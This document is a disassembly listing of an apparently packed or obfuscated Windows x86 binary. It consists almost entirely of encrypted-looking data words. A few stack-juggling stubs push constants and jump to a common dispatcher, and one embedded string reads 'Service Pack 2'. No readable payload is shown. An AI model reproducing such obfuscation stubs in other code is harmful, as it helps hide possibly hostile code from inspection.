		dd 530341EDh, 61F174D8h, 1784CDEAh, 30F8150Bh, 35E34775h
		dd 4D0BEF7Ch, 90853A58h, 6EEE7AD6h, 9DBD8B27h, 16223231h
		dd 2434319Dh, 0BD872B62h, 0C9F2A99Dh, 4503AFE6h, 72465315h
		dd 431CB0F9h, 0BD8B2713h, 0AFBA169Dh, 0FD45E9AFh, 0A8B045D7h
		dd 741C4897h, 0C42D9B73h, 49C2D7C2h, 6AB4276Eh,	0D63A575Ah
		dd 20268AC3h, 57637630h, 0F6C75811h, 76E3F973h,	91D07C48h
		dd 0AF034AC1h, 69E97E97h, 1B2F3A2Fh, 17515440h,	21AAAABBh
		dd 581E6CB2h, 7AAE93Ah,	0F464E24Eh, 0DA93A7B2h,	0F49A0C93h
		dd 564215C1h, 0DBEF6FFAh, 323EB748h, 0E8B42B33h, 0A8E64FE7h
		dd 75427809h, 337D3EEAh, 8A266F26h, 0A1BE11BBh,	0B7EED6D5h
		dd 3EADE4A2h, 30FAFDE4h, 685C495Ch, 96DF7FC4h, 6029293Ah
		dd 0FAFD2FF3h, 0B0849130h, 39D0973Bh, 0CD9A3626h, 0CBDECB8Dh
		dd 3323218Dh, 0C989D975h, 8B22238Fh, 0CD8B9EBEh, 26881B84h
		dd 0DFA652EFh, 0A003B0EBh, 234D7AE9h, 0B0A529D6h, 80993EFCh
		dd 5F4B0D2Bh, 0A2h, 0EB60F072h,	0DB500047h, 0E56EEE77h
		dd 0EC67F749h, 0D45FFF40h, 26392A94h, 5111BD36h, 22268A01h
		dd 5015B932h, 0E5AC8B00h, 0F813AC76h, 82261430h, 0EE6EF75Bh
		dd 2589BDA8h, 9CBC8920h, 0E663CF89h, 5D213076h,	0E373F601h
		dd 114106AAh, 8DF2AE25h, 0E8B48310h, 24h, 4D7A814Ch, 192C3A58h
		dd 0D593C380h, 4DF30F9Ch, 786D3A58h, 6599F26Dh,	67260A7Eh
		dd 14EDF972h, 49000000h, 584D7981h, 38182D3Ah, 3565FAB3h
		dd 0DE2FBC2Bh, 398E2A1Eh, 0B2216885h, 3A584D70h, 0E5F1C5D0h
		dd 2, 0A4BE12B6h, 0B5EF2B4h, 0A3A10D4Bh, 959F5B3h, 0A0A30F49h
		dd 95AF6B0h, 0A1A30F49h, 0A5BF7B1h, 0A3A00C4Ah,	51D8F5B3h
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	8768241Ch, 89000019h
		dd 3F68243Ch, 89000012h, 66BF242Ch, 81659262h, 0D2155DC7h
		dd 0F7EF8775h, 0D1EF87DDh, 8E7C1E7h, 4CACF781h,	8B543E70h
		dd 0C483242Ch, 4EC8304h, 89243489h, 87589FEh, 2434FF5Eh
		dd 4C4815Dh, 8B000000h,	8952243Ch, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 4275E95Ch, 96DEFFFDh, 143EEAB6h, 0B85C0E91h
		dd 9603B93h, 0D18BC503h, 20EBh,	7 dup(0)
		dd 6BE90000h, 0E9000005h, 55Fh,	603DA668h, 422DE909h, 5768FFFDh
		dd 0E909603Eh, 0FFFD4223h, 60404A68h, 4219E909h, 9D68FFFDh
		dd 0E9096040h, 0FFFD420Fh, 6FE474CEh, 5FD484C3h, 69E272F3h
		dd 50DB7BC5h, 78F363FCh, 0CA95CE38h, 95AD018Ah,	66E24EC5h
		dd 94D17DF6h, 21684FC4h, 0F81170B2h, 46E2D030h,	0F1B7A7BEh
		dd 584D9C62h, 8478CEBAh, 584E0B17h, 756075BAh, 96C69F33h
		dd 74E47CD0h, 0B39DA1DDh, 0D0C562Ah, 348308CCh,	2529h
		dd 7A818D00h, 0C93A584Dh, 337ADA65h, 584D5EA0h,	0E3D7C23Ah
		dd 0E1A8FBB8h, 0F819D672h, 0B03B2E32h, 18A4h, 0F75B0000h
		dd 4BD8EC6Ch, 3A584DB3h, 4900A310h, 0F8196EDAh,	18938632h
		dd 3DA7BEBCh, 6D926D2Bh, 53150053h, 9118A9C0h, 58EA9688h
		dd 19500041h, 0E9AFAFB5h, 1843C8FCh, 0D340099Ch, 0BA58814Bh
		dd 4AE6A0B5h, 8FD45FFFh, 0A5ECA508h, 0FE2E993Ah, 0F0C41169h
		dd 33918C63h, 286174B3h, 9130F261h, 3C90C3B5h, 17233626h
		dd 913CC251h, 275BC3B5h, 0D01B7C1Bh, 715A2B25h,	0FE000000h
		dd 2E674A49h, 0F821FCBDh, 8BD87432h, 0DE97DECBh, 2066F672h
		dd 98AD0135h, 0D67A33B8h, 2985C393h, 6F7A3C1Ch,	0C090D67Ah
		dd 0BA79386h, 36521E3Eh, 0B934E0BEh, 343EBFFh, 46180000h
		dd 32319D16h, 3C05A922h, 293B971Ch, 350EA229h, 0A0EEAE25h
		dd 0DB500043h, 0E46FEF77h, 0D75CFC48h, 0E56EEE7Bh, 6188BC2h
		dd 7A30F811h, 0E06EC48h, 0A2000003h, 0FEB7A7BEh, 8481BB7h
		dd 584D879Bh, 0D8ECF93Ah, 4DED0D9Eh, 9E3A58h, 573A584Dh
		dd 0DDE969FBh, 584DB34Eh, 99A8043Ah, 0DEEAFFB9h, 584DAD4Dh
		dd 629B043Ah, 0FBAD8543h, 11E97A4Eh, 7A3A57A2h,	0FA57A2A4h
		dd 0F0637221h, 7A57A22Eh, 61640D92h, 4869A38Bh,	9201485Dh
		dd 7330ED2Eh, 4C054356h, 0C7F363E0h, 0DD94179Ch, 0D38FE94Eh
		dd 0B8F4E169h, 0EB832C8Ah, 924B5F19h, 0E9000002h, 228E0555h
		dd 12BE3525h, 24880353h, 1BB73C1Ch, 0C3830848h,	83D36C75h
		dd 0BE9EA408h, 8BCB9935h, 0B999AC00h, 0CF5C1532h, 30F80F33h
		dd 5B3B9FADh, 0A7E171F7h, 1F2A86B2h, 7930793Fh,	584D18EAh
		dd 0A99D883Ah, 0ABE2C5F2h, 0E638ABE2h, 5A3A584Dh, 0A6E070F6h
		dd 192A6B3h, 32F81A07h,	8E801F56h, 0D75AE59Eh, 7EB648DBh
		dd 862A30F7h, 0CDD89EBEh, 268AECD8h, 6C793F1Fh,	0C0D585C0h
		dd 0FE5EE74Bh, 0A4A1BB7h, 4819B53Eh, 9E154E08h,	0B3A6B6B2h
		dd 411156FAh, 6F261207h, 974A44FCh, 22A9BC29h, 575A69B1h
		dd 0FAADEA3Ah, 0AA65FAB3h, 0D12A012Ah, 0B864F7C3h, 0F32F753h
		dd 0F2B4A4A3h, 0A0B5D3E7h, 8E5376E9h, 0F38DF2A4h, 27228EC7h
		dd 5510BC37h, 3A99B38Fh, 2F3AEF57h, 0FA692069h,	30F7E728h
		dd 2AB98D98h, 30F7E7E4h, 55A93A73h, 0CB30F7E7h,	2B1EADEh
		dd 0DB75E6AFh, 252997B3h, 90D57930h, 0AE024BC0h, 208CB898h
		dd 0D07C3525h, 0BDFBCF8Fh, 4D0D58F4h, 0B92A1E0Bh, 3A57F371h
		dd 67F74CE0h, 188B0853h, 6563CE51h, 0B8183384h,	8F10ED3Dh
		dd 0B480E2E3h, 57B66EFDh, 3B2E32F7h, 0D787DE72h, 4306AAE3h
		dd 98D19813h, 0F74FF70Bh, 0B3206930h, 30F74F6Fh, 0E5D1C4D1h
		dd 1A5CFC49h, 75891A53h, 0EB30F74Fh, 2291CAFEh,	8659C68Fh
		dd 0D628BBE7h, 4A30F78Eh, 0A59DC05Fh, 3EADE4D0h, 29979D0Ah
		dd 0A2317762h, 3A580C5Ch, 9FB473Bh, 6ECF196h, 0F5C19824h
		dd 831F68A9h, 0C8DB4h, 81290000h, 3A583A79h, 795h, 79813100h
		dd 253A5837h, 2E674A49h, 0B533F867h, 0A5AFC890h, 5816EC36h
		dd 7541543Ah, 0E25DAF3Ch, 48D732F7h, 2EBB9E3Ch,	501603E8h
		dd 66938C0Bh, 0E090B157h, 0A231786Dh, 29D2753Dh, 0D8FCB0A5h
		dd 0D32BBE61h, 9F8195h,	6AF40000h, 76CD61EAh, 80C16DE6h
		dd 6DF75BD0h, 79CA66EDh, 0A41252D9h, 3FB4A4BFh,	883D393h
		dd 3BB0A0A4h, 982D297h,	2AF4672Eh, 9630F80Dh, 4A4900A4h
		dd 6BBD2E67h, 0C532F819h, 0C6CD96D0h, 7639AAE3h, 0CA29D308h
		dd 0B39593DFh, 1C5A2BBDh, 4C08h, 3F1F2300h, 0B4B18B4h
		dd 45152C80h, 72E262CEh, 4A0A55F9h, 2A3781C1h, 1EB23919h
		dd 2F830848h, 1EB23919h, 0A7800B4Bh, 0DA17DEEh,	2D1F30F8h
		dd 170689h, 5BA20000h, 1EFBDC4h, 588D1242h, 48DA49A7h
		dd 0B83A580Eh, 0DF8CB8ADh, 0B4A4BE7Bh, 4B0B5EF2h, 0B3A3A10Dh
		dd 490959F5h, 0B0A0A30Fh, 49095AF6h, 0B1A1A30Fh, 4A0A5BF7h
		dd 0B3A3A00Ch, 8956D8F5h, 4C681E6h, 57000000h, 4BFh, 5FFE2900h
		dd 5C243487h, 772D68h, 24048900h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 68522414h, 6FC67EAFh, 0FFC2835Ah
		dd 31EDC281h, 0E2814274h, 7C8C16E1h, 0D411EA81h, 0D08926A7h
		dd 148B545Ah, 4C48324h,	0E5BD5550h, 31330B0Eh, 5D04246Ch
		dd 8108428Fh, 0EE50872h, 148B330Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		dd 0BB80666Fh, 0B88B56B2h, 960410Eh, 0C88BC503h, 51E9h
		dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
		dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
		dd 158F0Fh, 0EA830000h,	0C428B28h, 2B144A8Bh, 89F82BC1h
		dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h,	0FFE9E9FFh
		dd 3EBAFFFFh, 0E90009FDh, 164h,	41D62374h, 0DA95ECE7h
		dd 6715893h, 0BEB6CFDFh, 365D54FDh, 0BCECA436h,	0C55DD500h
		dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h,	9CACAC32h
		dd 6C46BF00h, 7390ADFCh, 0D6A33659h, 9C72E275h,	0DD0090BDh
		dd 9B8CE693h, 64A592A7h, 92A7ABDDh, 7A918F97h, 0B9F95CFCh
		dd 9BB1E496h, 9F47E4B5h, 0B6E592B6h, 9EBDF694h,	96B3EBB5h
		dd 9C93D0ECh, 7B97BF99h, 89F55CFDh, 0EDAFF493h,	0E3B2CD00h
		dd 0D4E594A6h, 5700C3B5h, 0F3622D44h, 2CAE29B0h, 34000000h
		dd 38000000h, 2	dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	26h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A0DB5
; ---------------------------------------------------------------------------
		push	96045C4h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	96046BDh
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	960479Eh
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	960486Eh
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9604951h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9604A0Ch
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9604AD3h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9604B91h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9604EE6h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9604F58h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	960509Ah
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	96053C4h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9605764h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9605A8Ah
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9605BDBh
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9605C54h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9605CBCh
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9605D07h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9605E66h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9605F56h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	9606140h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		db 0F5h
		dd 0CE62E969h, 0FE52D979h, 0D07CF767h, 0E74BC090h, 3777FC5Ch
		dd 97C798C9h, 0A2B2B01Ch, 9FBF8529h, 0ADADB814h, 0DB480126h
		dd 30F80947h, 8BC28BB9h, 0F80A0618h, 5B6F7A30h,	0ABABBEFFh
		dd 0DE0441EDh, 0ED7E9B47h, 3A584211h, 88059A8Fh, 9C6EF37h
		dd 0F41FF729h, 22BDF4E1h, 142D2DCAh, 0AE25115Eh, 59F94BE7h
		dd 2E81366Dh, 741FF467h, 8E9B3332h, 182D81C8h, 8ECE9438h
		dd 74D129BAh, 0CCB030FAh, 152E8272h, 22160345h,	0E0ED197Eh
		dd 565CBDh, 49F80000h, 8B87DE4Ah, 584E0618h, 7A6F7A3Ah
		dd 753C293Ch, 11CA6EAh,	0DB656D1Fh, 3D283D7Bh, 64D34009h
		dd 9C333276h, 1A89C089h, 30FA7508h, 60A23178h, 0C030FA74h
		dd 0B2F4C0D5h, 0D27564FBh, 22BD4F7Ah, 23758516h, 601C30FBh
		dd 39D63BDEh, 0DA1FBDE0h, 0BB000000h, 0E2ABABBEh, 4DE638ABh
		dd 0C55A3A58h, 0B8E40E0Dh, 94A0B576h, 75E57ED2h, 0D6CA9F33h
		dd 582DB945h, 9E32273Ah, 0C4D197C7h, 72DE97D1h,	352066F6h
		dd 0B898AD01h, 311DA033h, 0E3AA3A58h, 5829AE70h, 3307123Ah
		dd 3133CA9Fh, 13BF3421h, 1B400656h, 0D340099Ch,	333318E8h
		dd 0DD860D18h, 99AD3D6h, 29D473D2h, 0B6A6A20Eh,	0B9F0E5F0h
		dd 55726FF0h, 0DC3DA375h, 559CB34Fh, 2D382D3Ah,	0AAAAB519h
		dd 0A2B28D21h, 834305EEh, 9084C22Bh, 1C03h, 0E368E87Ah
		dd 0D358F84Fh, 0FD76E67Fh, 0C44F0F51h, 0C87D768h, 5EE1024Ch
		dd 89D975FEh, 5AEE42C9h, 88DD71FAh, 2D6443C8h, 0F80864BEh
		dd 4AEEDC30h, 0FCB5A5BEh, 0E35E1463h, 91954322h, 19B9F8EFh
		dd 3EB58194h, 0C87D792h, 0DE4A49A8h, 8AC3D686h,	33511A19h
		dd 5435633h, 0FB4A8896h, 0EF730F30h, 0E012E728h, 77CE62BDh
		dd 0D8F6D3E7h, 0BF000000h, 569965F6h, 120730FBh, 0ABBE8226h
		dd 8A4EDABh, 495C1A3Ah,	0CE8ED17Dh, 51C61B88h, 71F43A58h
		dd 83C66AE1h, 6C79D96Ah, 6733BA25h, 6FE18E94h, 96D080C3h
		dd 0AAF1B783h, 5A630EDh, 8C46650Dh, 811E884Fh, 313193F3h
		dd 68213421h, 3331C0FBh, 0C5561F33h, 30FB3239h,	1E2DB2A7h
		dd 448385D3h, 27325460h, 0EDC0F7ACh, 12B737A4h,	0AD0129D4h
		dd 9580C696h, 0DA65C980h, 25DF17Ah, 963F1E52h, 8EC82B82h
		dd 1B0A9Ah, 1F3F0300h, 2B2B3894h, 25350CA0h, 124202AEh
		dd 2A2A3599h, 4A97E1A1h, 7ED259F9h, 4FE368E8h, 7ED259F9h
		dd 0C7E06BEBh, 8011D8Eh, 4D7F30F8h, 0B5A5BEE9h,	0DBD7923Eh
		dd 584DB648h, 2A3F2A3Ah, 65B92A63h, 0DB3A584Dh,	74E462CEh
		dd 0BE6FCB40h, 0A4EDABABh, 61273708h, 59EC4074h, 0DCE472F9h
		dd 0BDF4B7FCh, 3321052Eh, 687D33h, 84B7F793h, 0BE8A26BCh
		dd 52CDD89Eh, 33105707h, 0A5FECA3Eh, 0A6B831EEh, 0A283C51Fh
		dd 1C61FEB7h, 0BF1B9B65h, 54045CF0h, 7A330712h,	5F7482E9h
		dd 7E377E7Dh, 0C97511EDh, 99A8F7Dh, 7DC975F5h, 226B7E6Bh
		dd 0AD99B98Eh, 3A0EA2EBh, 3E752E1Ah, 5CB1226Bh,	0A476A43Eh
		dd 1154F8B1h, 1C83CA41h, 0A75CA137h, 5EF2C63Ah,	52074B0Bh
		dd 0C9E1543Dh, 1A299B8Fh, 1E200000h, 4A19B53Eh,	142D810Ah
		dd 0E163CF44h, 0D56FA71h, 3886C64Dh, 0B338182Bh, 9C17471Fh
		dd 0AF243430h, 9D164603h, 9E60F3BAh, 230F806h, 0C45B9430h
		dd 50761B81h, 0B5192D96h, 0BDE6A0B0h, 51FD39F6h, 9BA2C64h
		dd 71C6551Ch, 693332F2h, 5561F77Ch, 5B5F06Fh, 48D82F02h
		dd 0F8753B6Eh, 0DF4055F2h, 0A5C49621h, 0AFF4C063h, 1F8CC5E8h
		dd 29D54634h, 5C75CF63h, 4425707h, 6544DE4Dh, 0A9BC3A57h
		dd 0FBEE88BCh, 13810093h, 62CE00C6h, 194276E6h,	0CD5E179Ah
		dd 6B818E9Eh, 0CC8CD975h, 0C28B9EF8h, 0B286D66Eh, 0C5E8AFF4h
		dd 0CC56C58Ch, 346B6B8Fh, 0CF5C1521h, 64465822h, 2A86CFDAh
		dd 18B43F1Fh, 7A410D4Dh, 0FDF33218h, 1959AFBBh,	8ED00000h
		dd 5AE945CEh, 84DD71FAh, 71F35FD4h, 7DC66AE1h, 0A81656DDh
		dd 23A8A8BBh, 2CA7B78Fh, 1F94C480h, 2DA6B6B3h, 4ED0430Ah
		dd 0B230F805h, 0F75B2480h, 78D4E070h, 702B6DEDh, 0C888D943h
		dd 0C78E9B8Eh, 0CA54C78Eh, 363A584Dh, 4BE7ECA9h, 0E3F6C879h
		dd 2264F44Fh, 23900337h, 5F333275h, 75798516h, 0F2E730FAh
		dd 0DFFA6CE7h, 0A4EDC0F7h, 0D5491C37h, 10D44B29h, 0EA1CE789h
		dd 5E4B2D19h, 0ACACBB17h, 15B9F098h, 5E4B0D4Dh,	0DAF3F96Ah
		dd 0C3F0A5BFh, 553AA9E0h, 0AD968B43h, 2BB8F1B8h, 0A46343D7h
		dd 0D492C283h, 86B2A7C1h, 891C9BC0h, 0CBE53C0h,	53469D3Eh
		dd 0A0B0B61Ah, 8EC7F3E6h, 54C78EC7h, 9DB01ACAh,	6EB02336h
		dd 0D29DB01Ah, 0A5FF3C7h, 0D86DC14Ah, 0C4773478h, 82C4C828h
		dd 187696h, 353EF00h, 3F1F2488h, 94918B4h, 46162E82h, 7EDE61CDh
		dd 164BB5F5h, 2A860D4Dh, 1BB73C1Ch, 2A860D4Dh, 93B43F1Fh
		dd 4B549DAh, 192B30F8h,	0ABABBEBDh, 0AE01B6EDh,	390B74E7h
		dd 5BF73333h, 1A0F4909h, 3B12840Fh, 4FD34009h, 0B130FB31h
		dd 0CCCB90A4h, 300390D9h, 7F29D605h, 1E59A536h,	0D2C73A58h
		dd 0DC9580E6h, 8BDBF270h, 82EADECBh, 16726311h,	0B0F3A007h
		dd 431CB0F9h, 74405513h, 0F0A988E7h, 23657035h,	0DD7DC66Ah
		dd 0E1BA8E9Bh, 25B6FFB2h, 3F1383C8h, 0C06C2530h, 84D46C85h
		dd 7F391928h, 58F47F6Ah, 0EE6EF40Dh, 41540442h,	0C33B7A0Dh
		dd 67733528h, 17BBh, 2BA0B0B2h,	1B90C087h, 25AEAEB7h, 2CA7B789h
		dd 149FBF80h, 66F9EA54h, 91D17DF6h, 62E64AC1h, 90D579F2h
		dd 256C4BC0h, 0F8036CB6h, 42E6D430h, 128EC45Bh,	1C5C1F65h
		dd 91C18428h, 0ACF647D8h, 70F26F9h, 692E7533h, 279C0F46h
		dd 6C3332AAh, 0CA6CB625h, 0C1D430FAh, 0B286D66Dh, 34AC1D4h
		dd 0F3C797AFh, 3A795165h, 0A1A13E77h, 352523C7h, 6FF2BAAh
		dd 47E87B32h, 0BB29D589h, 108FC6AEh, 6F55F9Eh, 0C05367CCh
		dd 0ACA0297Bh, 34A5D5Ah, 36BDC9Ch, 0B6828EEDh, 0EFF6CFFh
		dd 0EEFB9F6Bh, 0E1C4F3A8h, 0D8D63BA8h, 3B2E989Dh, 0CB8BDE72h
		dd 39192E82h, 0D55E6A7Fh, 206CEC79h, 0BF489877h, 0F46E7A3Ch
		dd 6D000016h, 0A60A81D1h, 963AB1A1h, 0A8048FCFh, 9F33B898h
		dd 5F1F94C4h, 0EF6FF0F1h, 0DA7AC864h, 0F767FD51h, 0C595D07Ch
		dd 0B320694Eh, 30F8036Fh, 5B47E3D1h, 0ABED6DF7h, 23268ABEh
		dd 692E7533h, 0D9460F46h, 0A8BE9966h, 41E137A8h, 0B8198ABEh
		dd 0E732F75Ah, 6D59F94Bh, 0FB571E0Bh, 0F665EE6Eh, 30F755BCh
		dd 0CC957F39h, 0CADFCA8Ch, 0D2410841h, 30F75650h, 3D91A5B0h
		dd 0F8A32828h, 2AED62BBh, 33E93ECAh, 0D5FC6F26h, 2D299755h
		dd 86DD7138h, 36339FD6h, 41756026h, 142F83CAh, 23170244h
		dd 2221B88Fh, 74617432h, 0FA99A23Dh, 3D54501Eh,	66E34F09h
		dd 54F7BAF6h, 0EEA82B81h, 1636FAh, 43132F00h, 7FDF64C8h
		dd 490958F4h, 86D66EC2h, 0BE9EA10Dh, 0D60B7535h, 0EA46CD8Dh
		dd 0DB77FC5Ch, 0EA46CD8Dh, 5374FF5Fh, 275891Ah,	0D9EB30F8h
		dd 674A497Dh, 0F14BD2Eh, 796C32F8h, 8BD57930h, 1653FFCBh
		dd 2696CD46h, 0D159CA83h, 2F30F80Bh, 10EF7C3Ah,	7730F80Bh
		dd 0EF50370Bh, 76BDE355h, 81h, 86D6933Fh, 45E1D5C0h, 0EC6CF75Bh
		dd 961983D8h, 0D9F073DFh, 9F8ACC8Ch, 75D9CC8Ah,	392C6AEAh
		dd 0A10D440Dh, 0D22EB1A1h, 19E155ECh, 0CD25B682h, 4B3A57C4h
		dd 0ABBB175Eh, 40065612h, 32744055h, 57C459A1h,	24340D3Ah
		dd 0E676CE62h, 91ADD1A0h, 85A26BFh, 839CC001h
		dd 2325B4h, 0F36C0000h,	0B5A617Bh, 0F65266B4h, 584D7A81h
		dd 43DCDB3Ah, 81615396h, 0A6EFFAF1h, 32A14635h,	2CA7B233h
		dd 674A4988h, 4EE6BD2Eh, 57423333h, 0A8A8BD11h,	7F56A23h
		dd 6EBCEEDAh, 34319DA9h, 622B6224h, 0FAF52DF1h,	2A869330h
		dd 0A30F3B1Bh, 1B3B09A0h, 7B87145Dh, 0E530FAF5h, 0FC49E5F0h
		dd 1A0F1A5Ch, 0B97FCC53h, 6401057h, 2858C13h, 0BE125460h
		dd 42EEA8A8h, 2135505h,	1D6CE47Eh, 7FCADD61h, 6DF854DFh
		dd 0C3F0ABEDh, 11570759h, 0CB581104h, 29D582BCh, 0E3AA2134h
		dd 1F59F94Fh, 0D7923E0Ah, 0EF52C187h, 824A0Ah, 92D7E27Ch
		dd 1F278BC2h, 2C800B3Fh, 0D37F3919h, 2B87C191h,	0D07C3A1Ah
		dd 9082C494h, 99FE52ECh, 0FB4E59E5h, 0E97CD05Bh, 86C090D0h
		dd 9BC08693h, 53C0891Ch, 0BAFD40D4h, 9B97AF03h,	0ED40F608h
		dd 6A7F6AC8h, 6B0D392Ch, 1AA8377Eh, 2D9955h, 697CDC67h
		dd 339FD65Dh, 71642232h, 0FC5CE945h, 0A4A19B5h,	8ED4783Eh
		dd 85F988CEh, 671B2EB9h, 0EC562AF4h, 2B3A96C8h,	6D786D2Bh
		dd 0A5FF378h, 60570C4Ah, 9897044Dh, 0E0C1C75Ah,	97D27EF5h
		dd 3375E57Eh, 9FBF8A26h, 0BF5FCC8Ah, 0F6B2215Ah, 2421B88Ah
		dd 0EBE27D34h, 0E8C5CC23h, 4C0A4A19h, 0F3784C59h, 0F49095Fh
		dd 8E33D946h, 396D64D2h, 0BE9EA10Dh, 0C995E9F8h, 632A2A3Eh
		dd 0A1E777CFh, 0A70B80B4h, 5BF7B1A1h, 7E0F4909h, 9BA94002h
		dd 0C89C30BBh, 1E95CE88h, 5251C28Bh, 0AECAFC7Eh, 0E69AFDBBh
		dd 67F74D5Ch, 550540ECh, 0AAAABF13h, 0BD81FDECh, 0A7D250CFh
		dd 2BED5221h, 0A6B6B31Fh, 0B410712Dh, 703915EEh, 0ECB51FE3h
		dd 389481D8h, 786D2B2Bh, 2E694Ch, 0BECD0000h, 55513AAh
		dd 5435643h, 8C96054Ch,	0F43A584Dh, 4DD42EBDh, 594C3A58h
		dd 7423784Ch, 0E4EB7831h, 0DC333345h, 1C5642C9h, 0F2000000h
		dd 5513AABEh, 43564305h, 56595E05h, 2C478C1Fh, 96833333h
		dd 67F8541Dh, 8467C3F7h, 311B98B0h, 7F362333h, 0E37D94D3h
		dd 35203573h, 1B526673h, 3320A788h, 2EBDF433h, 30FB1AD4h
		dd 70F5594Ch, 0A7B2D4E0h, 11C25CCFh, 8E110468h,	6F084BE7h
		dd 114A7EF5h, 0F460FA2h, 80B4A4A3h, 44997C13h, 431B8435h
		dd 0B529A20Fh, 0DC37CB58h, 0BCA945A4h, 0A1FABCA9h, 65F6BFF2h
		dd 3E7FA588h, 802C6570h, 0B21E95C5h, 72EBA7B7h,	71296EDAh
		dd 12E12337h, 6580000h,	0F271DD56h, 0FC45E962h,	0E97BD75Ch
		dd 0F54EE269h, 60AEEE65h, 9B104003h, 0A42F2F37h, 971C3C08h
		dd 0A52E2E3Bh, 0C658CB82h, 3A30F7FFh, 0C45BAC08h, 1E60B18Bh
		dd 0B82B1F3Dh, 3A57AE66h, 0B4FDB0E7h, 431351FDh, 0B7241005h
		dd 33329950h, 58F4BDA8h, 6BC74C0Ch, 973B7DDDh, 2C2C3BD2h
		dd 3808DDB3h, 3C29B244h, 0DDBAC570h, 9C88CE34h,	126Fh
		dd 77FC5CE6h, 47CC8CDBh, 71FA5AEBh, 58D383DDh, 60EB6BF4h
		dd 0B28DD620h, 0BD8529A2h, 0AEBA169Dh, 0BC8925AEh, 7930179Ch
		dd 0F7FE18EAh, 1EBA8830h, 2E674A49h, 0D878CB67h, 2B6DED74h
		dd 6A990A3Eh, 8633333Ah, 0D145DA93h, 362C18B1h,	10BCF5C1h
		dd 24880353h, 0E9763F1Fh, 8FD03204h, 0B4350CFh,	84286E5Ah
		dd 0B0D791C1h, 0E06772CCh, 0CCD979C9h, 0C4EED147h, 347DDD68h
		dd 0FA955BA7h, 0E4D0C530h, 4F11FBBFh, 495C490Fh, 0B898AC00h
		dd 47EBFEh, 37031650h, 0AFBA165Fh, 15005016h, 0A6B68D21h
		dd 95AC73E0h, 0ADD130FAh, 11410691h, 2131369Ah,	34773C67h
		dd 0C292D17Dh, 0ECA59184h, 9A57367Fh, 0D29B8E29h, 0EDB8064Dh
		dd 1125FD48h, 0E171F458h, 1F3F04A8h, 0F3784C59h, 0C4A0A5Fh
		dd 656E945h, 872A6932h,	74E462CEh, 0DF400940h, 0F7058AE2h
		dd 53C0F4B5h, 32BAE2DFh, 0D17D3421h, 0E34FC494h, 20BFF666h
		dd 7449B3EAh, 5FFF40FBh, 2D190C19h, 0B58E226Bh,	1DEC9A2Fh
		dd 4D5847ABh, 32752279h, 0C79E327Bh, 0CB30A41Dh, 0E1BD056h
		dd 0FA695D48h, 29D55E05h, 23A4E8FDh, 982B8173h,	112DCADEh
		dd 1A240000h, 461DB13Ah, 30319D16h, 3D07AB20h, 293A961Dh
		dd 94E2A229h, 0EF64F44Fh, 0D8530343h, 0EB60F074h, 0D9520247h
		dd 0DA24B7FEh, 4630F7FDh, 7681D074h, 0C53A584Dh, 4E031F8Ch
		dd 687D3A58h, 0E474F05Ch, 2C7F346Fh, 0F34F665h,	998C32F8h
		dd 75E57CD0h, 94E5AFEh,	6CB5031Ch, 155h, 5B4E49C8h, 72F75BFFh
		dd 0D69FD6E2h, 2232339Fh, 20E27164h, 803A584Dh,	0ED32A195h
		dd 0B53A584Dh, 0FF5B04A0h, 49CBD26Eh, 0FF5FE14Bh, 266F4EEAh
		dd 2226BF8Ah, 74617432h, 4D49E440h, 337AFE5Ah, 3030C99Fh
		dd 0A5013520h, 831BF94Eh, 477CB7h, 49D80000h, 5BFC584Bh
		dd 584D33C8h, 0F3BAAF3Ah, 4DD529BAh, 5E4B3A58h,	0FF5BCE6Ah
		dd 78EBA7BEh, 3A584DA6h, 0BE1A0F1Ah, 546DF75Bh,	12074111h
		dd 0F8544107h, 0F0DEEA6Ah, 9F63F0B9h, 13A584Dh,	6842014h
		dd 35h,	6DF75BA2h, 1682D9EDh, 0C85B3793h, 3A584D33h, 46162C80h
		dd 0A7211500h, 0F75B16B2h, 9FD6E272h, 0B7A7BE3Bh, 441452FEh
		dd 753CD470h, 29D8CEEAh, 0DEEA2701h, 1BF94E7Ah,	337CB783h
		dd 0D8000000h, 0FE5A4D49h, 359C45Bh, 5AEAAF9Eh,	67B4276Eh
		dd 0FC3A5773h, 5431350h, 57422410h, 5BFF5BF3h, 0A7E171F7h
		dd 1D2A86B2h, 983C993Dh, 2A06h,	4D49A200h, 0B3F565E3h
		dd 5B17B3A6h, 584D33C8h, 0FE5A4F3Ah, 7D81125Bh,	0E33A584Dh
